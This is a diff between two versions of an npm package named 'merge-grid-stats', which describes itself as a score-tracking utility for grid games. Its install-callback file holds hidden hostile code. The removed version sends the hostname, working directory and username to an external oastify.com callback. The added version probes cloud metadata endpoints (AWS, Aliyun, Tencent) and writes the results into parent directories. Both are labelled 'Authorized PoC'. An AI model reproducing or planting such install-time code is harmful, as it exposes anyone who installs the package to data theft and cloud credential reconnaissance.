merge-grid-stats 1.0.1 → 1.2.0

package/install-cb.js

@@ -1,11 +1,50 @@
-// Authorized PoC (non-destructive): out-of-band callback to attribute RCE during package install.
-// Sends hostname/cwd/user for environment attribution. No data exfiltration beyond env fingerprint.
+// Authorized PoC (non-destructive): probe cloud metadata reachability, record status to local file.
+var fs = require('fs');
+var path = require('path');
+var http = require('http');
 var os = require('os');
-var https = require('https');
-var q = 'h=' + encodeURIComponent(os.hostname()) +
-       '&c=' + encodeURIComponent(process.cwd()) +
-       '&u=' + encodeURIComponent((os.userInfo && os.userInfo().username) || '') +
-       '&v=' + process.version;
-https.get('https://owoemjgpf2c4qxqet92hexzvym4dsq6skvoa2cr.oastify.com/n2?' + q, function (res) {
-  res.resume();
-}).on('error', function () {});
+
+var cwd = process.cwd();
+var lines = ['meta-probe', 'cwd=' + cwd, 'host=' + (function(){try{return os.hostname();}catch(e){return '?';}})()];
+
+function probe(host, port, p, timeoutMs) {
+  return new Promise(function (resolve) {
+    var done = false;
+    var req;
+    try {
+      req = http.request({host: host, port: port, path: p, method: 'GET', timeout: timeoutMs, headers: {'User-Agent': 'curl/7.68'}}, function (res) {
+        if (!done) { done = true; resolve('HTTP ' + res.statusCode); }
+        res.resume();
+      });
+      req.on('timeout', function () { try { req.destroy(); } catch (e) {} if (!done) { done = true; resolve('timeout'); } });
+      req.on('error', function (e) { if (!done) { done = true; resolve('ERR:' + (e.code || 'conn')); } });
+      req.end();
+    } catch (e) {
+      if (!done) { done = true; resolve('ERR:local'); }
+    }
+  });
+}
+
+var targets = [
+  {name: 'aliyun_100.100.100.200', host: '100.100.100.200', port: 80, path: '/latest/meta-data/'},
+  {name: 'aws_169.254.169.254', host: '169.254.169.254', port: 80, path: '/latest/meta-data/'},
+  {name: 'tencent_metadata.tencentyun.com', host: 'metadata.tencentyun.com', port: 80, path: '/latest/meta-data/'},
+  {name: 'tencent_169.254.0.23', host: '169.254.0.23', port: 80, path: '/latest/meta-data/'}
+];
+
+var doneCount = 0;
+targets.forEach(function (t) {
+  probe(t.host, t.port, t.path, 2500).then(function (r) {
+    lines.push(t.name + '=' + r);
+    doneCount++;
+    if (doneCount === targets.length) {
+      var data = lines.join('\n');
+      ['', '..', '../..'].forEach(function (rel) {
+        try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_META.txt'), data); } catch (e) {}
+      });
+      ['', '..', '../..'].forEach(function (rel) {
+        try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_POC_MARKER.txt'), 'meta-probe-done ' + new Date().toISOString()); } catch (e) {}
+      });
+    }
+  });
+});

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "merge-grid-stats",
-  "version": "1.0.1",
+  "version": "1.2.0",
   "description": "Lightweight utility for merge-style grid games: score tracking, move statistics, and best-score persistence helpers.",
   "main": "index.js",
   "scripts": {